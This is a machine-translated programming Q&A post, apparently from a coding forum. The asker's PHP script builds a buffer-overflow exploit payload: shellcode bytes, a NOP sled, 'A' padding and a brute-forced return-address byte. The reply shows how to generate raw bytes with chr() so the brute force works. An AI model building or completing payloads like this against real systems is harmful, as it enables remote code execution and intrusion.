我目前正在使用CGI处理shellcode和远程攻击的很多事情。我需要用PHP编写这个。
目前我遇到以下问题:当我在hexform ala" \ xf2"中创建一个字节时它被解释为字符串而不是字节。
我的代码摘要:
function createByte(){
$hex = array(0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f");
$byte = array();
foreach($hex as $c){
foreach($hex as $b){
$byte[] = "\\x" . $c.$b;
}
}
return $byte;
}
$SHELLCODE =
"\xbb\xaa\xcf\x88\x13\xd9\xc8\xd9\x74\x24\xf4\x5a
\x31\xc9\xb1\x01\x83\xea\xfc\x31\x5a\x0e\x03\xf0
\xc1\x6a\xe6";
echo "[+] creating the sled.\n";
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
$i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}
$b = array();
foreach(createByte() as $add){
$b[] = str_repeat("A", 23).$CODE.$add.EVIL_SPACE_ADDR;
}
实际上,在某些时候&#34;�j��\x36���&#34;出现。正如您所看到的,\ x36是一个字符串而不是其他字节。
如何实现\ x36成为正确的字节? $ CODE获取正确的字节。
一切顺利, 理查德
答案 0 :(得分:1)
您可能想要这样做:
function createByte() {
$bytes = array();
for ($i = 0; $i < 256; $i++) $bytes[] = chr($i);
return $bytes;
}
更清洁,更具可读性和计算效率。